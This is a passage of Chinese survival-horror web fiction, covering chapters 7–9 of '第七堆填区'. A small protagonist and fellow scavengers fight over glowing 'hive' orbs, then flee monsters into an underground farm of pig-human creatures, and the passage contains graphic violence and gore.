逐渐迷离的萍姐一个激灵,猛地低头——
在昏暗的光线下,她脚下不知何时,出现了那道漆黑的东西。
是她的影子!
不知为何,萍姐脑子里立刻想起了那条规则——
不要让影子逃跑!
下一秒,那黑乎乎的东西竟点了点头,朝着游乐场窜了出去。
萍姐完全无法控制自己的双腿,不由自主的死命追去。
江赛被塞进洞口,她人小体轻,还堪堪站稳在铁丝网内侧尚未塌陷的一小片水泥边缘。
刚刚发生的一切太快太混乱,他们几乎是被保洁员逼着,仓皇聚集进了这片废墟里。
这里的东西……都在若有若无的引诱他们进来。
“别过来!”她几乎是吼出来的,朝着已经冲到洞口,正欲钻进来的萍姐喊道。
萍姐半个身子已经探进洞口,听见这话,抬眼看着江赛严肃的脸色,下意识想要后退。
但洞内,一只粗壮的手臂伸出,一把攥住她的衣领,粗暴地将她整个人猛地拽了进去。
“砰!”
萍姐狠狠摔倒在废墟上,尘土飞扬,她狼狈的爬起身,第一反应是看向铁丝网边的江赛。
江赛此刻正半趴在地上,小脸绷得紧紧的,眉头紧锁,盯着铁网外那些令人头皮发麻的绿色生物。
那些疯狂蠕动的生物,冲到铁丝网前,竟齐刷刷地停了下来。
它们不再前进,只是拥挤在网外,用布满毛刺的身体摩擦着铁丝,发出密集的“沙沙”声,凸起的脓包隔着网对着里面微微搏动。
看着看着,江赛突然感到裸露的皮肤传来一阵难耐的瘙痒,眼睛也有些刺痛模糊。
她刚想揉眼起身,一只冰凉的手掌,突然从后方伸来,严严实实地捂住了她的眼睛。
“真是傻的可爱。”一道带着鼻音,略显清冷的声音在耳边响起。“什么都敢盯着看?不怕长针眼,嗯?”
下一秒,她被人轻松抱起,远离了铁丝网。
视野恢复,周俊那张挂了彩的脸放大在眼前。
左眼青紫,鼻梁下还有干涸的血迹。
他单手抱着她,嘴角挂着一点意味不明的笑,看起来略显滑稽。
“……”江赛默默扭开头。
7. 第七堆填区(六)
“这些东西怎么不进来?”刘亚东喘着粗气问。
“它们……好像在惧怕这里。”陈秀英得出结论。
是的,惧怕。
那些东西围堵在铁网外,疯狂蠕动,却不敢进来。
能让怪物害怕的,只能是另一个更可怕的怪物。
江赛心寒,她好不容易逃出这鬼地方,这才多久,又被折腾进来了。
刺猬保洁员堵住出口,他们彻底被困死在这地方,还不如先前跟着影子分散逃走。
“妈的!!”刘亚东额头一跳,顿时火冒三丈,“孙洋帆那个杂碎呢?!给老子滚出来!!”
就是这畜生叫他们进来的!
“莽夫。”江赛听见抱着她的周俊,盯着一脸鼻血嗤笑,满脸不屑。
“……”
扫过废墟,刘亚东很快在不远处一个倾倒的咖啡杯后面,发现了猫着腰,鬼鬼祟祟的孙洋帆。
“孙洋帆!”他低吼一声,冲过去,甚至粗暴地撞开了刚站稳的萍姐。
孙洋帆正弯腰蹲在地上,背对着众人,不知在摸索什么。
听见这声怒吼,他浑身一抖,手上的动作顿时变得更加慌忙。
“你他妈在搞什么鬼?!”刘亚东大步上前,一把扳过他的肩膀。
孙洋帆脸色惨白,眼神躲闪,怀里似乎紧紧搂着什么东西。
“你——”
几点闪烁着银光的东西,从孙洋帆慌乱松开的衣襟间,叮叮当当地滚落出来,掉在满是灰尘的地面上,甚至有一颗滚进了缝隙。
孙洋帆也顾不上害怕了,立刻慌乱地扑倒在地,伸手就想去掏那缝隙里的银光。
“滚开!”刘亚东一脚将他踹到一边,自己弯下腰,大手一抄,捡起了地上那东西。
那是一个手指大小的金属圆球,表面布满凸起。
它静静地躺在他沾满污垢的手心里,从那些凸起的缝隙里,散发出银光。
而在不远处的地面,还有更多这样的银光,在昏暗中微弱地闪烁。
这是……
刚刚还暴跳如雷的高个男人,望着满地的银光,倒吸一口凉气。
“蜂巢……是蜂巢!!”
那散发着银光的金属球体,可不就是他们千辛万苦寻找的蜂巢吗?
他这话一出,站在后边的两人眼神瞬间变了,立刻冲过来。
基础工资之外,一颗蜂巢的回收奖金高达两万金币!
那是他们辛苦工作一周都不能见到一颗的稀有物,而这里……居然埋藏着这么多宝藏。
“哈……哈哈哈!”刘亚东捏着蜂巢大笑出声。
发财了!彻底发财了!
只要把这里的东西带出去,他立马就能摆脱这身臭工服,跻身鹿河基地的富人行列!
这该死的,狗杂碎!
他猛地转头,眼神阴冷的盯着地上的孙洋帆。
要不是自己及时发现,这畜生是不是打算一个人独吞宝藏?
“认识这么多年,在钱面前,你他妈连条狗都不如!!”
压不住心里的暴戾,他冲过去,又是一脚踹翻了刚刚爬起的孙洋帆,“滚远点!!”
孙洋帆闷哼一声,没敢争辩,只是捂着背,默默挪到远处。
那弯腰捡东西的背影被刘亚东看在眼里。
他嗤笑了声。
巨大的利益当前,他懒得在这种废物身上浪费力气,反倒转向陈秀英,“愣着干嘛!赶紧捡!捡完再撤!”
这不是商量,金灿灿的未来就在脚下,没人会在这个时候离开。
“不行!!”
还没等陈秀英说话,背后突然冒出一声急切的反驳。
刘亚东抬眼望去。
是那个带着怪胎的瘸腿娘们。
“别……别捡……”话一出口,萍姐就后悔了。
在刘亚东那双要吃人的眼神下,她头皮发麻,只能僵硬的找补,“天、天快亮了……不是规定天亮前要离开吗?”
“我们……我们明天再来,也一样,对吗?”她转头,将希望投向陈秀英,眼神祈求。
刘亚东没说话,只是朝她迈了两步。
萍姐吓得浑身一抖,几乎要瘫软下去。
他看了看手里沉甸甸的蜂巢,瞥了一眼陈秀英若有所思的神情。
最终只是从鼻腔里发出一声嘲弄地嗤笑,摇了摇头,转身走向银光最密集的地方。
“你干了这些天,”陈秀英开口了,“连这个都不知道吗?”
“什,什么?”
“堆填区里的路,是不会重复的。”陈秀英勾起唇角,笑容意味不明。“你今天能找到这里,明天再来,可能就是另一番景象了。”
这些蜂巢过了此刻,就再也找不到了。
“我,我我……”萍姐当然不知道,她这些天都是老老实实进来,在固定区域翻找垃圾,再空着手离开。
自从江赛失踪后,她一直是一个人,别说怪物,连个活人的影子都见不到。
“可,可是……”她今天就见到了。
这底下……埋着可怕的东西啊!
这话她不敢说出口,只能抖着唇,急切的看着陈秀英。
这个帮助过她的女人,会不会理解她?
“还是说。”一个懒洋洋的声音插了进来,一直抱着江赛旁观的周俊,终于慢悠悠地开口了。
“你早就发现这些东西了,自己偷偷捡够了,才急着溜走?”
一针见血,恶意昭然。
江赛的小脑袋搁在他肩上,闻言忍不住侧头,翻了个巨大的白眼。
他嘴怎么这么厉害?淬了毒吗?
他轻飘飘的一句话,将几人心底的怀疑明晃晃问出来。
萍姐的脸色霎时变得苍白。
“不!不是的!我之前根本没见过这些东西!”她急切的反驳,又再次看向陈秀英。
陈秀英盯着她无措的眼神看了几秒,最后,她走上前,拍了拍萍姐僵硬的后背。
“没事的,我们动作快点,捡完立刻走,耽误不了多久。”
她的目光看向周俊怀里的小身影,“不想给你女儿赚医药费了吗?”
她说完,不再给萍姐任何反驳的机会,果断转身,加入回收行列。
这下,萍姐彻底慌了。
完了。
这废墟下还埋藏着怪物。
万一那些怪物没死成,突然从地底跳出来……
更要命的是,那些尸首一旦被看到,他们很快就会发现小江的异样。
萍姐越想越害怕,她要带着江赛跑!
跑!必须跑!
萍姐转身,抬起的脚却硬生生僵在半空。
本该也在捡蜂巢的周俊,竟然一直没动。
他就那么站在原地,笑眯眯地看着她。
“还,还是我来抱吧。”萍姐鼓起勇气,伸手想去接江赛。
“诶。”周俊微微转身,灵巧地躲开她的手,“没事,我抱着挺好。”
萍姐咬牙,“别麻烦你了。”
“不麻烦的。”他后退一步,再次躲开萍姐的手,“您啊,帮我也捡几颗蜂巢就好。”
萍姐扯了扯嘴角,在对方那人畜无害的笑容注视下,只能弯下腰,心不在焉的去扣地下那些蜂巢。
她不敢走远,就围在周俊身边打转,时不时惊惶地抬头扫视周围。
“诶?”
就在气氛冷下来时,远处角落里,一直默默捡拾的孙洋帆,突然发出一声惊呼。
他直起身,皱眉看着不知何时扒在自己小臂上的粉白色小手。
所有人闻声看去的下一秒。
那小手猛地收紧。
“轰!”
废墟里,飞快跃出一个小身影,扑上了孙洋帆。
“啊啊啊——”
孙洋帆只发出一声惨叫,整个人就被那身影死死缠住。
他看见一张与体型完全不符的小脸。
那张苍老的脸上,布满尖牙的大嘴一口啃咬在他整张脸上。
萍姐只惊恐的瞥了一眼。
果然!
他们还活着!!
她顾不得其他,立刻冲到周俊旁边一把抢过江赛,瘸着腿就往后跑,动作快得一个踉跄。
周俊下意识伸手,却没能抓住江赛的手臂。
废墟下光线昏暗,他们只能看到一团黑影纠缠着孙洋帆倒下,伴随着令人毛骨悚然咀嚼声。
刘亚东站得最近,他看得清清楚楚。
那身影顶着一双眼熟的大耳朵,光秃秃的脑袋像漏了气的皮球,左边半边完全塌陷下去。
它满身血污,凶狠的张着大嘴,将孙洋帆整张脸咬进口中。
孙洋帆倒在地上,身体剧烈抽搐。
所有人都吓呆了,只见那怪物头一歪,将地上那人整张脸撕咬下来。
它抬头,一只浑浊的老眼看向前方吓呆的刘亚东。
就在刘亚东以为自己命不久矣的时候,怪物扫视一圈,然后,它毫不犹豫
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地调转方向,朝着左边飞快爬去。
那是萍姐她们逃跑的方向。
萍姐抱着江赛没命地跑,不敢回头,她看不见后面的情形。
江赛看见了。
她看见周俊一言不发的紧跟在她们身后,还看见就在他身后,有个急速窜过来的小身影。
那身影正以飞快的速度逼近。
这场景太诡异了,江赛心一颤,又觉得小腿有些不受控制。
她抬手,刚刚要张口提醒,身后那怪物突然一跃跳起,踩着周俊朝他们扑来。
“啊啊啊啊!”
我的个妈呀!!
江赛下意识尖叫出声,她立刻弯腰,抽出萍姐腰间悬挂的撬棍。
她没来得及挥出,只能横举过头顶,死死挡住那家伙咬向萍姐后脑的大嘴。
锵——
怪物的利齿咬在撬棍上,摩擦出声。
它眼神一转,凶狠的目光看向江赛。
江赛双手握着撬棍,抵住它的嘴,她的手臂被怪物伸出的利爪抓出几条长长的血印。
啊啊啊!好痛啊!
江赛疼得眼前发黑,几乎握不住撬棍。
她在心里疯狂呐喊:快点呐!!孩子要撑不住了!!!
萍姐在朝来时的洞口跑,她也发现了这点。
只要,再坚持一下就好了。
再坚持一下!
然而,老天爷似乎从不听她的祈祷。
还没等她自我安慰完,萍姐的身体一歪,带着他们狠狠摔倒在地。
江赛被甩飞出去,左肩再一次磕上凸起的铁板,又是熟悉的位置,她握着铁棍的手瞬间没了力。
对面的小怪物显然比她更惨,那家伙当时正踩在萍姐背后,倒下来的时候躲都没躲一下。
那瘪了一半的脑袋,直直插进立在地面上的铁棍。
噗呲。
半截生锈的铁棍,从它右脑穿出来。
这血腥的一幕给江赛看愣了,她撑着发软的身体坐起来,那家伙还在拼命挣扎。
幸好,萍姐没有看到这一幕。
不然她能吓晕……
等等……
萍姐好像真的晕了!
江赛猛地扭头,萍姐面朝下趴着,一动不动,后脑勺正在哗哗流血。
完蛋!
江赛眼前一黑,她赶紧连滚爬爬地扑过去,拼命去拖萍姐沉重的身体。
“快……快醒醒!”
就在她费力拖人的时候,周俊赶上来了。
他就站在几步之外,气息平稳,与现场的惨烈格格不入。
江赛抬头,汗水和尘土糊了一脸,她几乎是吼出来的。
“快来帮忙啊!!”
周俊显然没有这个打算。
他甚至刻意绕开了地上的萍姐,和在那挣扎的怪物。
他的目标,从一开始就异常明确。
他朝着江赛,一步一步走去。
江赛的心猛地沉了下去,她停止拖拽,挣扎着想站起防卫,但左肩的剧痛让她动作迟缓。
周俊在她面前蹲下,阴影笼罩了她。
他伸出手,径直抓向江赛那只伤痕累累的胳膊。
就在他的指尖即将触碰到江赛的那一刻。
“咯……咯咯咯……”
突兀的撕裂声传来,对面的情形让两个相对的年轻人惊呆了。
只见那个一直挣扎无果的小怪物,突然停下了。
它抬起爪子,抓住身前一块凸起的石头,硬生生将脑袋直接从铁棍上横向扯出。
飞溅的血肉在昏暗的光线下还能看见阴影。
接着,她顶着残破的脑袋,抬手抓住了萍姐的肩膀。
空气安静了一瞬。
两个年轻人只能听见彼此加速的心跳。
太太太太他妈狠了!
它是怎么顶着一张小脸,干出这么恐怖的事情的!!
江赛吓傻了,她又害怕,又兴奋。
不过,现在不是兴奋的时候,因为那个怪物动了。
它连抓带咬,咬着萍姐往后拖拽。
“放开她!”
江赛没来得及阻止。
她的身体突然腾空。
周俊将她整个人举了起来。
这家伙望向她的目光异常狂热。
他看着她,声音因为激动而微微发颤,却带着不容置疑的笃定。
“你不是她的女儿。”
“你也是蜂巢……对不对?”
8. 第七堆填区(七)
“......”
这孩子……疯了?
江赛怀疑自己耳朵出了问题。
她头一歪,用力拍开周俊那狂热到扭曲的脸。
“听不懂你在说什么?”她用稚嫩的声音反驳,“我妈妈需要钱!放我下去!”
“还装?”周俊笑了。
他猛地将挣扎的江赛转向废墟边缘。
那里是他们原本要逃离的洞口。
洞口之下,不知何时出现了一个巨大的管道。
那小怪物正将昏迷的萍姐往黑漆漆的管道里拖拽。
“看看,那些孩子在保护蜂巢是不是?”
周俊神色痴狂,语气却十分肯定,“刚才,他们没有攻击你……一次都没有真正攻击你!!”
“你就是蜂巢对不对?!”
“……”江赛彻底无语了。
要不是他说的是自己,她差点就信了。
这家伙哪来那么大自信。
萍姐的身影已经完全消失在管道口,江赛没心情和他争论,她甩动双腿,试图挣脱。
谁知周俊看着清瘦,力气却大得惊人,他双手死死钳住她的双臂。
“跟我出去。”他命令道。
“你要把我交给老A?”
当然不是!
周俊没回答她,只是举着江赛往洞口走。
一个拥有自我意识的蜂巢。
这简直是颠覆性的发现!
他要把她带到雾都去,那里有最顶尖的技术,最开明的研究者!
他一定能破解她,理解她,甚至……掌控她!
他不再废话,走到洞口,高高举起江赛,准备把她丢出铁网。
就在他抬手的刹那,江赛突然抬腿,狠狠一脚踹在他的脸上。
她这一脚用了全力。
“呃啊!”
周俊完全没料到这小东西突然反击。
鼻骨碎裂的剧痛直冲脑门,他眼前一黑,脖子因为仰头过猛发出“咔嚓”一声。
他下意识松手,跌坐在地上。
江赛趁着这机会,抓住裂缝边缘,借势一荡,将自己甩进了铁网下边的管道口里。
“砰!”
地面滑湿,江赛没站稳,一屁股摔在地上。
空气中弥漫着一股难以形容的恶臭味。
管道内漆黑一片,江赛没有手电,只能摸索着黏糊的管壁,小心翼翼的向前挪动。
不知在黑暗中走了多久,在她感觉嗅觉要完全丧失的时候,终于在前方看到了一丝微弱的光亮。
同时,隐约传来一些嘈杂声。
借着那越来越近的光线,江赛还是忍不住低头,看向自己沾染在手掌和脚面的污泞。
“......”
“呕!!!”
手掌上糊满了褐色的粘液,里面清晰地夹杂着粉尘、结成块的干硬粪便,甚至还有些动物的毛发。
臭!
奇臭无比!
太恶心了!!
“呕——”
江赛忍不住干呕起来,眼泪都被逼出来了,她加快脚步,终于在快要坚持不下去的时候到达出口。
她扶着管壁钻出,站在坚实的地面。
头顶的大灯将四周照的锃亮,光线太强了。
她在昏暗的游乐场待了太久,眼睛一时无法适应如此强烈的光线。
过了好一会儿,她才缓缓睁开眼。
眼前,是一个望不到尽头的灰色水泥走廊。
走廊两侧,是用粗糙水泥砌成的隔墙,墙面布满印痕和水渍,圈出一个又一个隔间。
围栏很高,封的严严实实的,江赛踮起脚也看不到里面的情形。
她只能听见那后边传来的声音。
很多声音混在一起。
哼哼唧唧的鼻音,摩擦的沙沙声,还有某种坚硬物被咀嚼时发出咯吱声。
这里是……
养殖场?
走廊的水泥地面上,有一条新鲜的拖拽痕迹,一直通向前方深处。
江赛顾不上细究这里的诡异,她只想快点找到萍姐,然后离开这个鬼地方。
她沿着拖印,小跑着向前,身后管道里突然传来异响。
是人说话的声音。
江赛猛地回头。
不会是那疯子追上来了吧。
江赛立刻抬脚跑,两边隔间里的生物似乎也听到了声响,开始变得躁动不安。
里面传来不停的撞击声,还有异常高亢的嚎叫。
江赛心中的不安越来越强烈,她不敢停下,拼命往前跑。
终于,前方的拖印拐了一个弯,指向右手边的一个隔间。
就是那里!
那个小怪物应该是把萍姐拖进那隔间了。
江赛加快脚步,刚要冲过去——
“嘎吱……”
前方,走廊尽头那扇木门突然开始转动。
有人进来了!!
江赛一惊,慌忙转身想找地方躲藏,但身后是空荡荡的走廊,她根本无处可藏。
情急之下,江赛瞥见隔间外放着一个垫脚用的破旧木箱。
她冲过去,手脚并用地爬上木箱,双手扒住隔间围栏的顶端,翻身滚进了最近的隔间里。
就在她刚刚翻过去的那一刹那,木门打开了,一个身影走了进来。
江赛直直摔下。
她被一群软乎乎的东西接住了。
是隔间内的生物。
江赛惊魂未定地抬头,首先对上的是角落里,一个浅粉色的生物。
她长着人类的四肢,鼻子和耳朵又呈现出猪的形态,全身光秃无毛,皮肤却是皱巴巴的。
她侧卧着,用一种疲惫又温顺的目光看着这个闯入者。
江赛心脏狂跳,赶紧低头。
身下接住她的,正是和她此刻模样有几分相似幼崽。
她浑身僵硬,扯出笑容,小心翼翼地挪动身体,爬下地面,紧紧贴住墙壁。
外面传来缓慢脚步声。
这些幼崽似乎对这个声音非常熟悉,它们立刻放弃了江赛,纷纷涌到外围,急切的哼唧。
脚步声走走停停,似乎在每个隔间前都会短暂停留。
江赛屏住呼吸,她低下头,借着自己那对显眼的大耳朵,将自己隐藏在幼崽中。
脚步声最终停在了她所在的隔间外。
江赛能感觉到一道目光扫了进来。
她一动不敢动。
“啪嗒。”
一块湿漉漉的生肉,被扔了进来,不偏不倚,正好砸在江赛低垂的脑袋上。
周围的幼崽瞬间疯狂了。
它们一拥而上,争夺食物,也将江赛彻底淹没在身体下面。
江赛被挤得东倒西歪,从缝隙中飞快地向上瞥了一眼。
她看到了站在围栏外投喂的人。
一个头发干枯灰白的老妇人。
她满脸皱纹,穿着一身脏兮兮的麻衣,左手提着个铁桶,右手正从桶里捞出肉块扔下。
老妇人又扔了几块肉,然后提着桶,朝着后边的隔间走去。
江赛没敢动,贴着墙壁安静的等待,直到女人发完所有食物,她又走回来,最后停在了隔壁隔间前。
那是萍姐最后被拖进去的地方。
隔壁传来门锁被打开的声响,接着是走进的脚步声,她似乎在整理什么,只传来一阵窸窸窣窣的声音。
过了大概一两分钟,老妇人站起身。
经过围栏的时候,她的脚步似乎微微顿了一下,狐疑的看向隔壁江赛露出来的脑袋。
江赛心脏狂跳,立刻模仿着身边幼崽的样子,发出细弱的哼唧声,并把头埋得更低,只露出脏兮兮的头顶和一只耷拉的大耳朵。
那灰发老妇浑浊的目光在她身上停留了两秒,似乎在辨认她。
也许是由于幼崽数量众多,她最终没有深究,只是提着空桶,步履蹒跚地走回走廊尽头的木门后。
“咔哒。”
门被关上了。
江赛立刻从幼崽堆挣脱出来,顾不上满身的粘液,她扑到隔栏边,踮起脚,拼命看向隔壁。
围墙太高了,她看不见隔壁。
江赛急得团团转。
她回头,看了眼角落里那个始终安静侧卧的猪人,又看了看身边这些懵懂哼唧的幼崽。
罪过罪过……
她在心里默念,但动作没有丝毫犹豫。
她一把扯过两个幼崽,将他们交叠,然后踩上肉垫双手扒住围墙顶端,艰难地翻过围栏。
隔壁的隔间里,萍姐正一动不动的躺在一堆干草上。
她脸色惨白,后脑的伤口居然被粗糙地处理过,上面缠着脏污的布条。
这个隔间里没有别的生物,唯独那个将萍姐拖进来的小怪物,此刻正蜷缩在
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她身边。
用一种守护的姿势,舔舐萍姐手背上的伤口。
听到动静,它歪着残缺的脑袋,警惕地看向江赛。
“呵呵......”江赛干笑两声,抬起双手隔得老远安抚它。
这东西先前拔脑袋的一幕太惊人了,她实在有些害怕它。
她一边示意她安静,一边试探着靠近萍姐。
出乎意料的,那怪物居然没有对她展现出敌意。
它看了眼江赛靠近的脚步,又低下头,继续舔舐萍姐的手背。
“萍姐?”江赛凑到萍姐身边,小声呼唤,轻轻推了推她的肩膀。
地上的女人一动不动,毫无生机,倒是旁边的小怪物,再次抬起头,安静地看着她。
死了?!
江赛一惊,连忙伸手去探萍姐的鼻息,直到指尖感到微弱的气息,她才松了口气。
该说不说,萍姐的生命力还挺顽强的。
江赛叹了口气,学着小怪物的样子坐下。
人找到了。
可接下来怎么办?她怎么拖走?
只能等萍姐自己醒来了。
江赛正与那残缺的小怪物大眼瞪小眼。
咚——
沉闷的撞击声在封闭的地下空间格外清晰。
“小东西……”空旷的养殖场,周俊的声音在走廊回荡。
他真的追来了?!
“太恶心了……这到底是什么鬼地方?!”刘亚东暴躁的骂声紧随其后。
“这里这么多!!”
他们的声音惊动了两边的怪物,刚刚安静下来的养殖场再次爆发出躁动。
坐在江赛对面的小怪物,在人声出现的瞬间,立刻转头,温顺的眼神被凶狠替代。
下一秒,她做出一个让江赛目瞪口呆的举动。
它向前一步,却不是攻击江赛,而是微微伏底身体,严严实实挡在江赛和昏迷的萍姐面前。
嗯……
这货在保护她们?
“那个小杂种果然是个怪物!”刘亚东骂骂咧咧的声音越来越近。
他似乎在责怪陈秀英,“你他妈还护着那娘们……”
“好了,别说了。”陈秀英打断他。
“周俊,你确定找到她,我们就能出去?”
“当然。”周俊回答,他似乎已经平静下来,声音又恢复了往日的清冷。
他们怎么都来了?
周俊那疯子追下来她还能理解,可是另外两人不应该在废墟上捡蜂巢吗?
还有,谁说抓住她就能出去了?!
她自己都不知道怎么出去好吗!
江赛侧过头,望着挡在身前,越来越激动的小怪物,思考了会。
她对着它招招手。
“……来?”
本来只是试探一问,谁知小怪物犹豫了会,居然真的走近。
江赛心脏狂跳,不敢耽误,她伸手扯过它拉到墙边。
她拍了拍小怪物的肩膀,示意它背靠墙壁蹲下,然后,她踩着它的肩膀站起身。
视野豁然开朗。
灯光下,江赛看到了走廊里的情形。
周俊站在最前面,离她们这个隔间已经不远了。
他一手捂着依旧血流不止的鼻子,脸上糊满了血污和尘土。
他身后,还跟着刘亚东和陈秀英。
两人都是一身狼狈,陈秀英状态稍好些,只是衣服有些破损,脸上多了几道擦伤。
边上的刘亚东就惨得多。
他半边耳朵缺了一角,鲜血染红了衣领,一条手臂不自然地垂着,渗出大片暗红。
刘亚东满脸不耐,正粗暴地扒拉两边的围栏,似乎在隔间里寻找着什么。
“妈的!”刘亚东猛地捶了一下围栏,引起里面一阵更大的骚动,“这成堆的恶心东西挤在一起,乌漆嘛黑!谁能找到那个小不点?!”
“那就进去找。”
“你他妈——”
轰隆——
就在两人又要吵起来的时候,一声闷响从走廊尽头的木门后传来,整个地面都晃了一下。
灯光乱晃,所有声音都停了。
几人全都转过头看向木门。
江赛心里一紧,立刻做出反应。
她脚下一蹬,扒住围栏,飞快地翻回了之前藏身的隔间,摔在幼崽堆里。
她刚落地,木门被猛地撞开。
9. 第七堆填区(八)
走廊尽头,先前那个灰发老妇人跌跌撞撞地冲了出来。
她满脸惊慌,手脚乱挥,嘴里只能发出“啊啊啊”的叫声。
老妇人看到了走廊里的周俊三人,眼神却没在他们身上停留,她像什么也没看见,慌乱地移开目光。
身后那扇厚重的木门里,还在持续传来沉重的撞击声。
老妇人慌了神,沿着走廊跌跌撞撞地跑,挨个隔间看。
最后,她冲到江赛所在的隔间,一把拉开插销,推门冲了进去。
身边的幼崽被惊得吱吱乱叫。
江赛心脏狂跳,以为自己被发现了。
谁知那老妇人压根没搭理她,径直冲到角落,一把抓住那头侧躺着的猪人的后腿,就往外拖。
猪人发出一声凄厉地惨叫,却没有反抗,只是徒劳地用前爪抠着地面,被拖出一道带血的痕迹。
几只幼崽想扑上去拦,却被老妇人一脚踹开。
她就这么拖着惨叫的猪人,经过江赛身边,冲出隔间,朝着那扇传来巨响的木门,头也不回地冲了回去。
“砰!!!”
木门在她身后重重关上。
这一切发生的太快,木门里还在持续发出声响,伴随着嚎叫声。
身边的幼崽彻底躁动不安了。
他们似乎在担心被妇人拖走的母亲,拼命挤到靠近走廊的围栏边,发出焦虑的哼唧。
“找到你了。”带着笑意的声音在头顶响起。
江赛猛地抬头。
周俊、刘亚东、陈秀英三人,正站在围栏外,居高临下地看着她。
不好!
刘亚东冲在最前面,他一把拉开隔间,伸手就想去抓江赛。
然而,隔间里的幼崽疯狂的往外涌,它们撞在刘亚东腿上,瞬间将他带倒。
刘亚东身形一歪,下意识抓住边上的围墙。
“你妈的!滚开!!”他一脚踹飞边上的幼崽。
被踹飞的幼崽砸到墙壁上,血肉四溅。
其他的幼崽却毫无畏惧,一直涌到走廊外,爬到木门前。
江赛趁乱贴着墙根,溜出隔间。
刚刚走出门,身后伸出一只手,一把抓住她的脖子。
江赛头一低,整个人攀上手臂,她指尖捏着一块锋利的石片,对着那手臂用力一滑。
“啊!”手主人吃痛松开。
“嗷——”几乎在同一时刻,木门里传出一声更凄烈的嚎叫。
围在外面的幼崽听到这声嚎叫,瞬间陷入了彻底的疯狂,它们开始用身体疯狂撞击木门。
周俊看着江赛手上的武器,眼神变得狠厉。
“没时间了,还不快点抓住她!”他朝刘亚东吼道。
刘亚东爬起来了,他先是转头,看向陈秀英血流不止的手臂,又看着江赛。
“老子弄死你!”他说着扬起匕首,朝着江赛乱砍。
江赛被逼得后退,她行动不变,却得益于身体缩小的好处,几次贴着匕首躲开攻击。
刘亚东没砍中她,气的双眼通红。
他单手一挥,另一只手去抓江赛。
江赛等的就是这一刻。
石片滑进手指,她弯下腰迎着那匕首而去。
本来想借机抢了匕首,哪知道还没等她靠近,左边突然传来一阵凌厉的风。
陈秀英不知什么时候冲过来,受伤的手臂举着撬棍朝她的脑袋挥来。
我去!!
江赛一惊,果断放弃先前的计划。
前面是匕首,右边是刘亚东的手,要是被抓住,她非得被捅出几个血窟窿来。
江赛下定决心,腰一扭,抬起右手挡住挥来的撬棍。
“砰!!!”
撬棍打在手臂上,将那小身影击飞,撞在木门边。
江赛摔倒在地,右手完全被打歪,呈一个诡异的姿势扭曲着,她的脸擦过匕首,被割出一条长长的伤口。
“咳。”
真疼啊!
江赛疼得龇牙咧嘴,她的右手已经完全没了知觉。
对面三人慢慢靠近,看着她狼狈的模样。
这种时候,江赛反而冷静下来。
好歹她也是有异能的,虽然她的异能很鸡肋,但是被这三个普通人追着打,还是莫名的不爽。
要不是她吃了那鬼篮子肉。
早知道留几块,塞给他们尝尝了。
江赛扶着墙站起身,朝着身边的幼崽挤了挤。
她准备挤进幼崽里,趁机从左边溜走。
好歹让她的异能发挥点作用。
正当她准备抬脚时,刘亚东一把抢过陈秀英手里的撬棍。
“老子看你往哪儿——”他话音未落,左边突然飞出一个身影。
还没等人反应过来,高个男人嘴里威胁的话突然变成惨叫。
先前守在萍姐身边的小怪物,不知何时跳上他的肩头。双手抱着他的脑袋,嘴一张狠狠咬下。
“刘亚东!!”陈秀英一惊,连忙抽出匕首去刺怪物。
可怪物爬在他脸边,刘亚东又疼得疯狂甩动,陈秀英根本找不准位置。
“周俊!!快来帮忙!”
周俊压根没搭理他们,满心满眼只有对面的江赛。
他看到了。
那小东西的手融化了,又似乎在慢慢堆积起来。
神奇!
这太神奇了!!
这是异能?
她怎么会有异能?
“你是蜂巢?”周俊朝她靠近,“还是异种人?”
江赛没说话,往角落里挪动两步。
因为她清晰的听到了背后传来的脚步声。
下一秒,木门被拉开,老妇人满身血迹,站在门口。
挤在门口的幼崽立刻朝门内涌去。
江赛身体一侧,也跟着挤进门里。
老妇人没管脚下的幼崽,只是深沉的眼睛盯着走廊里的三人。
她手中还拿着把杀猪刀,上边正滴着血。
她似乎刚忙完,才有空管这几个出现在养殖场的不速之客。
“啊啊啊,啊啊……”老妇人张嘴,不知道在叫嚷什么。
边上的小怪物看见她的出现,立刻跳下去,嘴里叼着一块肉,飞快爬到一边。
“啊啊啊啊——”刘亚东捂着脑袋跌坐在地上惨叫。
他的右脑被咬下来一块,些许头发掉落在手上。
察觉到他越来越弱的气息,陈秀英慌忙抬手,在口袋里四处翻找一番。
她手一顿,才想起自己的恢复剂之前已经喂给了那个女人。
“周俊!你的恢复剂呢?!”
周俊正和老妇人对视,听见这话他低下头,微微歪头。
“什么?”
“快给我!他要不行了。”陈秀英焦急的伸手。
周俊“哦”了一声,没动,反倒抬脚朝着老妇人靠近。
“我来找个东西。”他说,“让我进去。”
“啊啊啊啊!!”原本平静的老妇人在他靠近木门的时候突然开始乱叫。
她混着大刀,阻挡周俊入内。
周俊眼神一冷,看着她癫狂的模样,终于还是后退一步。
他抬手将口袋里的恢复剂丢给陈秀英。
“快点用完来帮忙。”他可不想和这个人不人鬼不鬼的老东西拼杀。
……
江赛侧身闪进房间。
浓烈的血腥味和一种奇异的甜腥味扑面而来。
她抬头,看清了眼前的景象——
这是一个巨大的房间。
昏暗的灯光下,正中央摆放了一张木桌椅,前面是一个很大的围栏,有半人那么高,江赛抬起头还能看见里面露出来的肉山。
左边,刚才的那头猪人被倒吊在铁钩上,喉咙已经被切开,肚子被掏空,褶皱的皮耷拉在两边。
右边是一张狭小的铁床,和柜子。
涌进来的幼崽推搡着直奔前面的围栏而去。
江赛左右犹豫了一下,飞快挤过幼崽,跑向铁床。
就在她刚刚到达铁床附近的时候,身后的木门又被拉开了,江赛唯恐是周俊几人闯了进来,她抓着铁床往床底一滑,整个人躲了进去。
江赛蜷缩在狭窄的床底,透过床单下的缝隙,盯向外面的情况。
闯进来的不是周俊。
是那个满身血迹的老妇人,她反手重新锁死了木门,将周俊等人的声音关在外面。
老妇人似乎对涌向围栏的幼崽们习以为常,她看都没看它们,径直走到房间中央那张木桌旁,将手里滴血的杀猪刀扔在桌上。
然后,她抬脚,一步一步走向围栏,打开围栏门。
幼崽迫不及待的涌进去。
江
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赛趁机探出头,她歪着脑袋正好看清了木门里的情形。
围栏里躺着个巨大的肉色生物,全身光滑,粉嫩的肥肉堆积在一起,看不出原本的样子。
它张着大嘴,涌进去的幼崽,正一个一个往他的嘴里跳。
这……
这场景太过诡异,老妇人却像是习以为常,她轻轻叹了口气,又转过来时褶皱的脸上勾起唇角。
江赛一惊连忙把头缩了回去。
她趴在墙角,侧着脑袋,看着老妇人走回桌子前,拿起那把杀猪刀,走向被吊起来的猪人面前。
